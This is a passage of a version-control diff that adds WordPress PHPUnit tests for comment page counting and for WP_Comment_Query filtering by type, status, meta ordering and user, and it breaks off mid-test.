+		$this->assertEquals( 3, get_comment_pages_count( $comments, 10, false ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10, true ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10, null ) );
+		$this->assertEquals( 2, get_comment_pages_count( $comments, 10 ) );
+	}
+
+	/**
+	 * Validate $wp_query logic of get_comment_pages_count
+	 */
+	function test_wp_query_comments_per_page() {
+		global $wp_query;
+
+		update_option( 'posts_per_rss', 100 );
+
+		$post = $this->factory->post->create_and_get( array( 'post_title' => 'comment-post', 'post_type' => 'post' ) );
+		$comments = $this->factory->comment->create_post_comments( $post->ID, 25 );
+
+		$wp_query = new WP_Query( array( 'p' => $post->ID, 'comments_per_page' => 10, 'feed' =>'comments-' ) );
+
+		update_option( 'comments_per_page', 25 );
+
+		$this->assertEquals( 3, get_comment_pages_count() );
+		$this->assertEquals( 2, get_comment_pages_count( null, 20 ) );
+
+		$wp_query = new WP_Query( array( 'p' => $post->ID,'comments_per_page' => null, 'feed' =>'comments-' ) );
+
+		$this->assertEquals( 1, get_comment_pages_count() );
+		$this->assertEquals( 5, get_comment_pages_count( null, 5 ) );
+
+		$wp_query->query_vars['comments_per_page'] = null;
+
+		update_option( 'comments_per_page', 5 );
+
+		$this->assertEquals( 5, get_comment_pages_count() );
+		$this->assertEquals( 3, get_comment_pages_count( null, 11 ) );
+		$this->assertEquals( 5, get_comment_pages_count( null, 0 ) );
+	}
+
+	/**
+	 * Validate max_num_comment_pages logic of get_comment_pages_count
+	 */
+	 function test_max_num_comment_pages() {
+		global $wp_query;
+		$wp_query = new WP_Query();
+
+		$org_max_num_comment_pages = $wp_query->max_num_comment_pages;
+
+		$wp_query->max_num_comment_pages = 7;
+
+		$this->assertEquals( 7, get_comment_pages_count() );
+		$this->assertEquals( 7, get_comment_pages_count( null, null, null ) );
+		$this->assertEquals( 0, get_comment_pages_count( array(), null, null ) );
+
+		$wp_query->max_num_comment_pages = $org_max_num_comment_pages;
+	 }
+}
Index: /tags/4.1.6/tests/phpunit/tests/comment/query.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/comment/query.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/comment/query.php	(revision 33402)
@@ -0,0 +1,1119 @@
+<?php
+
+// Test the output of Comment Querying functions
+
+/**
+ * @group comment
+ */
+class Tests_Comment_Query extends WP_UnitTestCase {
+	protected $post_id;
+	protected $comment_id;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_id = $this->factory->post->create();
+	}
+
+	public function test_query() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c5 ), $found );
+	}
+
+	public function test_query_post_id_0() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'post_id' => 0,
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_query_type_empty_string() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => '',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c5 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_query_type_comment() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => 'comment',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1 ), $found );
+	}
+
+	public function test_query_type_pingback() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => 'pingback',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+
+	}
+
+	public function test_query_type_trackback() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => 'trackback',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+
+	}
+
+	/**
+	 * 'pings' is an alias for 'trackback' + 'pingback'.
+	 */
+	public function test_query_type_pings() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => 'pings',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+	}
+
+	/**
+	 * Comments and custom
+	 * @ticket 12668
+	 */
+	public function test_type_array_comments_and_custom() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'comments', 'mario' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c4, $c6 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_not__in_array_custom() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type__not_in' => array( 'luigi' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c6 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type__in_array_and_not_type_array_custom() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type__in' => array( 'comments' ),
+			'type__not_in' => array( 'luigi' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_and_type__not_in_array_custom() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'pings' ),
+			'type__not_in' => array( 'mario' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type__not_in_custom() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type__not_in' => 'luigi',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c6 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_comments_and_pings() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'comments', 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_comment_pings() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'comment', 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_pingback() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'pingback' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_custom_pingpack() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'peach', 'pingback' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_pings() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_status_approved_array_comment_pings() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'approve',
+			'type' => array( 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c3, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_trackback() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'trackback' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_custom_trackback() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'toad', 'trackback' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_pings_approved() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'approve',
+			'type' => array( 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c3, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 29612
+	 */
+	public function test_status_empty_string() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => 'spam' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => '',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 21101
+	 */
+	public function test_status_hold() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'hold',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 21101
+	 */
+	public function test_status_approve() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'approve',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c1 ), $found );
+	}
+
+	public function test_status_custom() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => 'foo' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => 'foo1' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'foo',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	public function test_status_all() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => 'foo' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'all',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c3 ), $found );
+	}
+
+	public function test_status_default_to_all() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => 'foo' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 29612
+	 */
+	public function test_status_comma_any() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => 'foo' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'any',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 29612
+	 */
+	public function test_status_comma_separated() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => 'foo' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'approve,foo,bar',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 29612
+	 */
+	public function test_status_array() {
+		$c1 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$c2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => 'foo' ) );
+		$c3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => array( 'approve', 'foo', 'bar', ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $found );
+	}
+
+	function test_get_comments_for_post() {
+		$post_id = $this->factory->post->create();
+		$this->factory->comment->create_post_comments( $post_id, 10 );
+		$comments = get_comments( array( 'post_id' => $post_id ) );
+		$this->assertEquals( 10, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id, $comment->comment_post_ID );
+		}
+
+		$post_id2 = $this->factory->post->create();
+		$this->factory->comment->create_post_comments( $post_id2, 10 );
+		$comments = get_comments( array( 'post_id' => $post_id2 ) );
+		$this->assertEquals( 10, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id2, $comment->comment_post_ID );
+		}
+
+		$post_id3 = $this->factory->post->create();
+		$this->factory->comment->create_post_comments( $post_id3, 10, array( 'comment_approved' => '0' ) );
+		$comments = get_comments( array( 'post_id' => $post_id3 ) );
+		$this->assertEquals( 10, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id3, $comment->comment_post_ID );
+		}
+
+		$comments = get_comments( array( 'post_id' => $post_id3, 'status' => 'hold' ) );
+		$this->assertEquals( 10, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id3, $comment->comment_post_ID );
+		}
+
+		$comments = get_comments( array( 'post_id' => $post_id3, 'status' => 'approve' ) );
+		$this->assertEquals( 0, count( $comments ) );
+
+		$this->factory->comment->create_post_comments( $post_id3, 10, array( 'comment_approved' => '1' ) );
+		$comments = get_comments( array( 'post_id' => $post_id3 ) );
+		$this->assertEquals( 20, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id3, $comment->comment_post_ID );
+		}
+	}
+
+	/**
+	 * @ticket 21003
+	 */
+	function test_orderby_meta() {
+		$comment_id = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id ) );
+		$comment_id2 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id ) );
+		$comment_id3 = $this->factory->comment->create( array( 'comment_post_ID' => $this->post_id ) );
+
+		add_comment_meta( $comment_id, 'key', 'value1', true );
+		add_comment_meta( $comment_id, 'key1', 'value1', true );
+		add_comment_meta( $comment_id, 'key3', 'value3', true );
+		add_comment_meta( $comment_id2, 'key', 'value2', true );
+		add_comment_meta( $comment_id2, 'key2', 'value2', true );
+		add_comment_meta( $comment_id3, 'key3', 'value3', true );
+
+		$comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'key' ) ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id2, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id, $comments[1]->comment_ID );
+
+		$comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'meta_value' ) ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id2, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id, $comments[1]->comment_ID );
+
+		$comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'key' ), 'order' => 'ASC' ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id2, $comments[1]->comment_ID );
+
+		$comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'meta_value' ), 'order' => 'ASC' ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id2, $comments[1]->comment_ID );
+
+		$comments = get_comments( array( 'meta_value' => 'value3', 'orderby' => array( 'key' ) ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id3, $comments[1]->comment_ID );
+
+		$comments = get_comments( array( 'meta_value' => 'value3', 'orderby' => array( 'meta_value' ) ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id3, $comments[1]->comment_ID );
+
+		// value1 is present on two different keys for $comment_id yet we should get only one instance
+		// of that comment in the results
+		$comments = get_comments( array( 'meta_value' => 'value1', 'orderby' => array( 'key' ) ) );
+		$this->assertEquals( 1, count( $comments ) );
+
+		$comments = get_comments( array( 'meta_value' => 'value1', 'orderby' => array( 'meta_value' ) ) );
+		$this->assertEquals( 1, count( $comments ) );
+	}
+
+	/**
+	 * @ticket 27064
+	 */
+	function test_get_comments_by_user() {
+		$users = $this->factory->user->create_many( 2 );
+		$this->factory->comment->create( array( 'user_id' => $users[0], 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
+		$this->factory->comment->create( array( 'user_id' => $users[0], 'comment_post_ID' => $this->post_id, 'comment_approved' => '1' ) );
